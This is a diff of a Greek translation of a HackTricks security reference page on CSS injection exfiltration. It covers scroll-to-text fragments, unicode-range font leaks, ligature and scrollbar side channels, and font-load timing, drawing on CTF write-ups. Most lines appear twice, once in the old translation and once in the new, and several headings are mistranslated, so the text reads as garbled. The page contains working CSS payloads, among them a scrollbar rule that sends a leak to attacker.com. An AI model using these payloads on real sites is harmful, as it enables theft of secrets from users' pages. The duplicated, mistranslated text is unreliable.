Εδώ, η επίθεση διαχειρίζεται την ενσωμάτωση HTML για τη μετάδοση του κώδικα CSS, με στόχο το συγκεκριμένο κείμενο "Διαχειριστής" μέσω του Scroll-to-text fragment (`#:~:text=Διαχειριστής`). Εάν το κείμενο βρεθεί, ο προσδιορισμένος πόρος φορτώνεται, σηματοδοτώντας αθέλητα την παρουσία του στον επιτιθέμενο.
Για τη μείωση του κινδύνου, πρέπει να ληφθούν υπόψη τα εξής σημεία:
Για τη μείωση του κινδύνου, πρέπει να ληφθούν υπόψη τα ακόλουθα σημεία:
1. **Περιορισμένη Αντιστοίχιση STTF**: Το Scroll-to-text Fragment (STTF) σχεδιάστηκε για να αντιστοιχίζει μόνο λέξεις ή προτάσεις, περιορίζοντας έτσι τη δυνατότητά του να διαρρεύσει αυθαίρετα μυστικά ή διαπιστευτήρια.
2. **Περιορισμός σε Περιβάλλοντα Περιήγησης Κορυφαίου Επιπέδου**: Το STTF λειτουργεί μόνο σε περιβάλλοντα περιήγησης κορυφαίου επιπέδου και δεν λειτουργεί εντός iframes, καθιστώντας οποιαδήποτε προσπάθεια εκμετάλλευσης πιο εμφανή στον χρήστη.
3. **Ανάγκη Ενεργοποίησης από τον Χρήστη**: Το STTF απαιτεί μια κίνηση ενεργοποίησης από τον χρήστη για να λειτουργήσει, πράγμα που σημαίνει ότι οι εκμεταλλεύσεις είναι εφικτές μόνο μέσω πλοήγησης που προκαλεί ο ίδιος ο χρήστης. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο αυτοματοποιημένων επιθέσεων χωρίς αλληλεπίδραση του χρήστη. Ωστόσο, ο συγγραφέας του άρθρου αναφέρει συγκεκριμένες συνθήκες και παρακάμψεις (π.χ. κοινωνική μηχανική, αλληλεπίδραση με δημοφιλείς πρόσθετα περιηγητή) που μπορεί να διευκολύνουν την αυτοματοποίηση της επίθεσης.
1. **Περιορισμένη Αντιστοίχιση STTF**: Το Scroll-to-text Fragment (STTF) σχεδιάστηκε για να αντιστοιχίζει μόνο λέξεις ή προτάσεις, περιορίζοντας έτσι τη δυνατότητά του να διαρρεύσει αυθαίρετα μυστικά ή τεκμήρια.
2. **Περιορισμός σε Πλαίσια Περιήγησης Κορυφαίου Επιπέδου**: Το STTF λειτουργεί μόνο σε πλαίσια περιήγησης κορυφαίου επιπέδου και δεν λειτουργεί εντός iframes, κάτι που καθιστά οποιαδήποτε προσπάθεια εκμετάλλευσης πιο εμφανή στον χρήστη.
3. **Ανάγκη Ενεργοποίησης Χρήστη**: Το STTF απαιτεί μια κίνηση ενεργοποίησης χρήστη για να λειτουργήσει, πράγμα που σημαίνει ότι οι εκμεταλλεύσεις είναι εφικτές μόνο μέσω πλοήγησης που ξεκινά ο χρήστης. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο των επιθέσεων να είναι αυτοματοποιημένες χωρίς τη συμμετοχή του χρήστη. Ωστόσο, ο συγγραφέας του blog αναφέρει συγκεκριμένες συνθήκες και παρακάμψεις (π.χ., κοινωνική μηχανική, αλληλεπίδραση με διαδεδομένες επεκτάσεις προγραμματιστικού περιβάλλοντος) που μπορεί να διευκολύνουν την αυτοματοποίηση της επίθεσης.
Η ενημέρωση για αυτούς τους μηχανισμούς και τις πιθανές ευπάθειες είναι καίρια για τη διατήρηση της ασφάλειας του web και την προστασία από τέτοιες εκμεταλλευτικές τακτικές.
Για περισσότερες πληροφορίες, ανατρέξτε στην αρχική αναφορά: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Για περισσότερες πληροφορίες ελέγξτε την αρχική αναφορά: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Μπορείτε να ελέγξετε ένα [**exploit που χρησιμοποιεί αυτήν την τεχνική για ένα CTF εδώ**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Μπορείτε να ελέγξετε ένα [**εκμετάλλευση χρησιμοποιώντας αυτήν την τεχνική για ένα CTF εδώ**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Μπορείτε να καθορίσετε **εξωτερικές γραμματοσειρές για συγκεκριμένες τιμές unicode** που θα συλλέγονται μόνο εάν αυτές οι τιμές unicode είναι παρούσες στη σελίδα. Για παράδειγμα:
Μπορείτε να καθορίσετε **εξωτερικά γραφήματα για συγκεκριμένες τιμές unicode** που θα συγκεντρωθούν μόνο αν αυτές οι τιμές unicode είναι παρόντες στη σελίδα. Για παράδειγμα:
```html
<style>
@font-face{
@ -210,22 +218,22 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
Όταν αποκτήσετε πρόσβαση σε αυτήν τη σελίδα, το Chrome και το Firefox ανακτούν τα "?A" και "?B" επειδή το κείμενο του ευαίσθητων πληροφοριών περιέχει τους χαρακτήρες "A" και "B". Ωστόσο, το Chrome και το Firefox δεν ανακτούν το "?C" επειδή δεν περιέχει το "C". Αυτό σημαίνει ότι καταφέραμε να διαβάσουμε τα "A" και "B".
Όταν αποκτάτε πρόσβαση σε αυτή τη σελίδα, το Chrome και το Firefox ανακτούν τα "?A" και "?B" επειδή το κείμενο του sensitive-information περιέχει τους χαρακτήρες "A" και "B". Αλλά το Chrome και το Firefox δεν ανακτούν το "?C" επειδή δεν περιέχει το "C". Αυτό σημαίνει ότι καταφέραμε να διαβάσουμε τα "A" και "B".
### Εξαγωγή κειμένου από κόμβο (I): συνδετήρες <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Εξυπνηρία κειμένου (I): λιγατούρες <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Αναφορά:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Η τεχνική που περιγράφεται περιλαμβάνει την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη τους συνδετήρες γραμματοσειράς και την παρακολούθηση των αλλαγών στο πλάτος. Η διαδικασία περιλαμβάνει αρκετά βήματα:
Η τεχνική που περιγράφεται εμπλέκει την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη τις λιγατούρες γραμματοσειράς και παρακολουθώντας τις αλλαγές στο πλάτος. Η διαδικασία περιλαμβάνει αρκετά βήματα:
1. **Δημιουργία προσαρμοσμένων γραμματοσειρών**:
- Οι γραμματοσειρές SVG δημιουργούνται με γλυφές που έχουν το χαρακτηριστικό `horiz-adv-x`, το οποίο ορίζει ένα μεγάλο πλάτος για μια γλυφή που αναπαριστά μια ακολουθία δύο χαρακτήρων.
1. **Δημιουργία Προσαρμοσμένων Γραμμάτων**:
- Τα γράμματα SVG δημιουργούνται με γλυφές που έχουν το χαρακτηριστικό `horiz-adv-x`, το οποίο ορίζει ένα μεγάλο πλάτος για μια γλυφή που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων.
- Παράδειγμα γλυφής SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, όπου "XY" υποδηλώνει μια ακολουθία δύο χαρακτήρων.
- Αυτές οι γραμματοσειρές μετατρέπονται στη συνέχεια σε μορφή woff χρησιμοποιώντας το fontforge.
- Αυτά τα γράμματα μετατρέπονται στη μορφή woff χρησιμοποιώντας το fontforge.
2. **Ανίχνευση αλλαγών στο πλάτος**:
- Χρησιμοποιείται CSS για να διασφαλιστεί ότι το κείμενο δεν αναδιπλώνεται (`white-space: nowrap`) και για να προσαρμοστεί το στυλ της γραμμής κύλισης.
- Η εμφάνιση μιας οριζόντιας γραμμής κύλισης, με ξεχωριστό στυλ, λειτουργεί ως ένδειξη (οράκλ) ότι μια συγκεκριμένη συνδετήρας, και επομένως μια συγκεκριμένη ακολουθία χαρακτήρων, είναι παρούσα στο κείμενο.
2. **Ανίχνευση Αλλαγών Πλάτους**:
- Χρησιμοποιείται CSS για να εξασφαλιστεί ότι το κείμενο δεν αναδιπλώνεται (`white-space: nowrap`) και για να προσαρμοστεί το στυλ της μπάρας κύλισης.
- Η εμφάνιση μιας οριζόντιας μπάρας κύλισης, με ξεχωριστό στιλ, λειτουργεί ως ένδειξη (οράκελ) ότι μια συγκεκριμένη λιγατούρα, και επομένως μια συγκεκριμένη ακολουθία χαρακτήρων, υπάρχει στο κείμενο.
- Το CSS που εμπλέκεται:
```css
body { white-space: nowrap };
@ -233,24 +241,52 @@ body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```
3. **Εκμετάλλευση της διαδικασίας**:
- **Βήμα 1**: Δημιουργία γραμματοσειρών για ζευγάρια χαρακτήρων με μεγάλο πλάτος.
- **Βήμα 2**: Χρησιμοποιείται ένα κόλπο με βάση τη γραμμή κύλισης για να ανιχνευθεί πότε αποτυπώνεται η γλυφή με μεγάλο πλάτος (συνδετήρας για ένα ζευγάρι χαρακτήρων), που υποδηλώνει την παρουσία της ακολουθίας χαρακτήρων.
- **Βήμα 3**: Μετά την ανίχνευση μιας συνδετήρας, δημιουργούνται νέες γλυφές που αναπαριστούν ακολουθίες τριών χαρακτήρων, συμπεριλαμβάνοντας το ανιχνευμένο ζευγάρι και προσθέτοντας έναν προηγούμενο ή επόμενο χαρακτήρα.
- **Βήμα 4**: Πραγματοποιείται η ανίχνευση της τριών χαρακτήρων συνδετήρας.
3. **Διαδικασία Εκμετάλλευσης**:
- **Βήμα 1**: Δημιουργία γραμμάτων για ζεύγη χαρακτήρων με σημαντικό πλάτος.
- **Βήμα 2**: Χρησιμοποιείται ένα κόλπο βασισμένο στη μπάρα κύλισης για να ανιχνευθεί πότε η μεγάλη γλυφή πλάτους (λιγατούρα για ένα ζεύγος χαρακτήρων) απεικονίζεται, υποδηλώνοντας την παρουσία της ακολουθίας χαρακτήρων.
- **Βήμα 3**: Μετά την ανίχνευση μιας λιγατούρας, δημιουργούνται νέες γλυφές που αντιπροσωπεύουν τριών χαρακτήρων ακολουθίες, ενσωματώνοντας το ανιχνευμένο ζεύγος και προσθέτοντας έναν προηγούμενο ή διαδοχικό χαρακτήρα.
- **Βήμα 4**: Πραγματοποιείται η ανίχνευση της τριών χαρακτήρων λιγατούρας.
- **Βήμα 5**: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας σταδιακά ολόκληρο το κείμενο.
4. **Βελτιστοποίηση**:
- Η τρέχουσα μέθοδος αρχικοποίησης με τη χρήση `<meta refresh=...` δεν είναι βέλτιστη.
- Μια πιο αποδοτική προσέγγιση θα μπορούσε να περιλαμβάνει το κόλπο `@import` του CSS, βελτιώνοντας την απόδοση της εκμετάλλευσης.
- Η τρέχουσα μέθοδος εκκίνησης με χρήση `<meta refresh=...` δεν είναι βέλτιστη.
- Μια πιο αποδοτική προσέγγιση θα μπορούσε να περιλαμβάνει το κόλπο `@import` στο CSS, βελτιώνοντας την απόδοση της εκμετάλλευσης.
### Εξαγωγή κειμένου από κόμβο (II): διαρροή του συνόλου χαρακτήρων με μια προεπιλεγμένη γραμματοσειρά (χωρίς απαιτούμενα εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Εξυπνηρία κειμένου (II): διαρροή του συνόλου χαρακτήρων με μια προεπιλεγμένη γραμματοσειρά (χωρίς την ανάγκη εξωτερικών πόρων) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Αναφορά:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Αναφορά:** [PoC χρησιμοποιώντας το Comic Sans από @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Αυτό το κόλπο δημοσιεύτηκε σε αυτό το [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Το σύνολο χαρακτήρων που χρησιμοποιείται σε έναν κόμβο κειμένου μπορεί να διαρρεύσει **χρησιμοποιώντας τις προεπιλεγμένες γραμματοσειρές** που είναι εγκατεστημένες στον περιηγητή: δεν απαιτούνται εξωτερικές -ή προσαρμοσμένες- γραμματοσειρές.
Αυτό το κόλπο κυκλοφόρησε σε αυτό το [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Το σύνολο χαρακτήρων που χρησιμοποιείται σε έναν κόμβο κειμένου μπορεί να διαρρεύσει **χρησιμοποιώντας τις προεπιλεγμένες γραμματοσειρές** που είναι εγκατεστημένες στον περιηγητή: δεν απαιτούνται εξωτερικά -ή προσαρμοσμένα- γράμματα.
Η ιδέα περιστρέφεται γύρω από τη χρήση μιας κινούμενης εικόνας για να αυξήσει σταδιακά το πλάτος ενός `div`, επιτρέποντας έναν χαρακτήρα κάθε φορά να μεταβεί από το τμήμα 'επίθημα' του κειμένου στο τμήμα 'πρόθεμα'. Αυτή η διαδικασία χωρίζει α
Το συγκεκριμένο κόλπο βασίζεται στη χρήση μιας animation για να αυξήσει σταδιακά το πλάτος ενός `div`, επιτρέποντας σε ένα χαρακτήρα κάθε φορά να μεταβεί από το τμήμα 'κατάληξης' του κειμένου στο τμήμα 'προθέματος'. Αυτή η διαδικασία χωρίζει αποτελεσματικά το κείμενο σε δύο τμήματα:
1. **Πρόθεμα**: Η αρχική γραμμή.
2. **Κατάληξη**: Οι επόμενες γραμμές.
Οι στάδιο μετάβασης των χαρακτήρων θα εμφανιστούν ως εξής:
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
Κατά τη διάρκεια αυτής της μετάβασης, χρησιμοποιείται το **κόλπο unicode-range** για να αναγνωρίσει κάθε νέο χαρακτήρα καθώς εντάσσεται στο πρόθεμα. Αυτό επιτυγχάνεται με τη μετάβαση της γραμματοσειράς σε Comic Sans, η οποία είναι εμφανώς ψηλότερη από την προεπιλεγμένη γραμματοσειρά, ενεργοποιώντας έτσι μια κάθετη μπάρα κύλισης. Η εμφάνιση αυτής της μπάρας κύλισης αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο πρόθεμα.
Αν και αυτή η μέθοδος επιτρέπει την ανίχνευση μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν καθορίζει ποιος χαρακτήρας επαναλαμβάνεται, μόνο ότι έχει συμβεί μια επανάληψη.
{% hint style="info" %}
Βασικά, το **unicode-range** χρησιμοποιείται για να ανιχνεύσει ένα χαρακτήρα, αλλά καθώς δεν θέλουμε να φορτώσουμε μια εξωτερική γραμματοσειρά, πρέπει να βρούμε άλλον τρόπο.\
Όταν ο **χαρακτήρας** είναι **εντοπισμένος**, του δίνεται η προεγκατεστημένη **γραμματοσειρά Comic Sans**, η οποία τον κάνει **μεγαλύτερο** και **ενεργοποιεί μια μπάρα κύλισης** που θα **διαρρεύσει τον εντοπισμένο χαρακτήρα**.
{% endhint %}
Ελέγξτε τον κώδικα που εξήχθη από το PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@ -371,22 +407,22 @@ div::-webkit-scrollbar {
background: blue;
}
/* πλευρική διαρροή */
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Αποκλεισμός κειμένου από κόμβο (III): διαρροή του συνόλου χαρακτήρων με προεπιλεγμένη γραμματοσειρά κρύβοντας στοιχεία (χωρίς απαιτούμενα εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Εξυπνοποίηση κόμβου κειμένου (III): διαρροή του συνόλου χαρακτήρων με ένα προεπιλεγμένο γραμματοσειρά κρύβοντας στοιχεία (χωρίς την ανάγκη εξωτερικών πόρων) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Αναφορά:** Αναφέρεται ως [μια ανεπιτυχής λύση σε αυτήν την ανάλυση](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Αναφορά:** Αυτό αναφέρεται ως [μια μη επιτυχής λύση σε αυτήν την ανάλυση](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο, σε αυτήν την περίπτωση, ο στόχος του να κάνουμε συγκεκριμένους **χαρακτήρες μεγαλύτερους από άλλους είναι να κρύψουμε κάτι** όπως ένα κουμπί για να μην πατηθεί από το bot ή μια εικόνα που δεν θα φορτωθεί. Έτσι, μπορούμε να μετρήσουμε την ενέργεια (ή την έλλειψη ενέργειας) και να γνωρίζουμε αν ένας συγκεκριμένος χαρακτήρας είναι παρόν μέσα στο κείμενο.
Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο, σε αυτήν την περίπτωση, ο στόχος του να κάνουμε συγκεκριμένους **χαρακτήρες μεγαλύτερους από άλλους είναι να κρύψουμε κάτι** όπως ένα κουμπί ώστε να μην πατηθεί από το bot ή μια εικόνα που δεν θα φορτωθεί. Έτσι θα μπορούσαμε να μετρήσουμε την ενέργεια (ή την έλλειψη ενέργειας) και να γνωρίζουμε αν ένας συγκεκριμένος χαρακτήρας υπάρχει μέσα στο κείμενο.
### Αποκλεισμός κειμένου από κόμβο (III): διαρροή του συνόλου χαρακτήρων με χρονομέτρηση προσωρινής μνήμης (χωρίς απαιτούμενα εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Εξυπνοποίηση κόμβου κειμένου (III): διαρροή του συνόλου χαρακτήρων με χρήση χρονοδιακοπών μνήμης (χωρίς την ανάγκη εξωτερικών πόρων) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Αναφορά:** Αναφέρεται ως [μια ανεπιτυχής λύση σε αυτήν την ανάλυση](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Αναφορά:** Αυτό αναφέρεται ως [μια μη επιτυχής λύση σε αυτήν την ανάλυση](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Σε αυτήν την περίπτωση, μπορούμε να προσπαθήσουμε να διαρρεύσουμε αν ένας χαρακτήρας βρίσκεται στο κείμενο φορτώνοντας μια πλαστή γραμματοσειρά από την ίδια προέλευση:
Σε αυτήν την περίπτωση, θα μπορούσαμε να προσπαθήσουμε να διαρρεύσουμε αν ένας χαρακτήρας υπάρχει στο κείμενο φορτώνοντας μια ψεύτικη γραμματοσειρά από την ίδια προέλευση:
```css
@font-face {
font-family: "A1";
@ -394,15 +430,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Εάν υπάρχει αντιστοιχία, η γραμματοσειρά θα φορτωθεί από το `/static/bootstrap.min.css?q=1`. Αν και δεν θα φορτωθεί με επιτυχία, ο περιηγητής θα το αποθηκεύσει στην μνήμη cache, και ακόμη και αν δεν υπάρχει cache, υπάρχει ένας μηχανισμός **304 not modified**, οπότε η απόκριση θα είναι πιο γρήγορη από άλλα πράγματα.
Εάν υπάρχει ταιριαστή, το **γραμματοσειρά θα φορτωθεί από το `/static/bootstrap.min.css?q=1`**. Αν και δεν θα φορτωθεί με επιτυχία, ο **περιηγητής θα πρέπει να το αποθηκεύσει στη μνήμη cache**, και ακόμη κι αν δεν υπάρχει cache, υπάρχει μηχανισμός **304 not modified**, έτσι η **απόκριση θα πρέπει να είναι πιο γρήγορη** από άλλα πράγματα.
Ωστόσο, εάν η διαφορά χρόνου μεταξύ της αποθηκευμένης απόκρισης και της μη αποθηκευμένης δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: Ωστόσο, μετά από δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν είναι πολύ διαφορετική, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία `disk-cache-size=1`, που είναι πραγματικά προσεκτική.
Ωστόσο, αν η διαφορά χρόνου μεταξύ της αποθηκευμένης απόκρισης και της μη αποθηκευμένης δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: Ωστόσο, μετά από δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν είναι πολύ διαφορετική, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία `disk-cache-size=1`, η οποία είναι πραγματικά σκεπτική.
### Αποκλεισμός κειμένου (III): διαρροή του συνόλου χαρακτήρων με τη μέτρηση του χρόνου φόρτωσης εκατοντάδων τοπικών "γραμματοσειρών" (χωρίς απαιτούμενα εξωτερικά στοιχεία) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Εξυγίανση κόμβου κειμένου (III): διαρροή του συνόλου χαρακτήρων με την μέτρηση της φόρτωσης εκατοντάδων τοπικών "γραμματοσειρών" (χωρίς την ανάγκη εξωτερικών πόρων) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Αναφορά:** Αυτό αναφέρεται ως [μια ανεπιτυχής λύση σε αυτήν την ανάλυση](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Σε αυτήν την περίπτωση, μπορείτε να υποδείξετε στο **CSS να φορτώσει εκατοντάδες ψεύτικες γραμματοσειρές** από την ίδια προέλευση όταν συμβεί μια αντιστοιχία. Με αυτόν τον τρόπο μπορείτε να **μετρήσετε τον χρόνο** που απαιτείται και να διαπιστώσετε εάν ένας χαρακτήρας εμφανίζεται ή όχι με κάτι παρόμοιο:
Σε αυτήν την περίπτωση μπορείτε να υποδείξετε **CSS για τη φόρτωση εκατοντάδων ψεύτικων γραμματοσειρών** από την ίδια προέλευση όταν συμβεί ταιριαστής. Με αυτόν τον τρόπο μπορείτε να **μετρήσετε τον χρόνο** που απαιτείται και να ανακαλύψετε αν ένας χαρακτήρας εμφανίζεται ή όχι με κάτι σαν:
```css
@font-face {
font-family: "A1";
@ -413,13 +449,13 @@ url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
Ο κώδικας του bot φαίνεται όπως παρακάτω:
Και ο κώδικας του bot φαίνεται έτσι:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Έτσι, αν η γραμματοσειρά δεν ταιριάζει, αναμένεται ότι ο χρόνος απόκρισης κατά την επίσκεψη στο bot θα είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταιριαστή γραμματοσειρά, θα αποσταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη διακοπής και να ληφθεί η απόκριση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως ένδειξη για να καθοριστεί αν υπάρχει ταιριαστή γραμματοσειρά.
Έτσι, αν η γραμματοσειρά δεν ταιριάζει, αναμένεται ότι ο χρόνος απόκρισης κατά την επίσκεψη του bot θα είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταίριασμα γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη διακοπής και να ληφθεί η απάντηση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως ένδειξη για να καθοριστεί αν υπάρχει ταίριασμα γραμματοσειράς.
## Αναφορές
@ -428,16 +464,22 @@ time.sleep(30)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -4,19 +4,27 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στο **αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
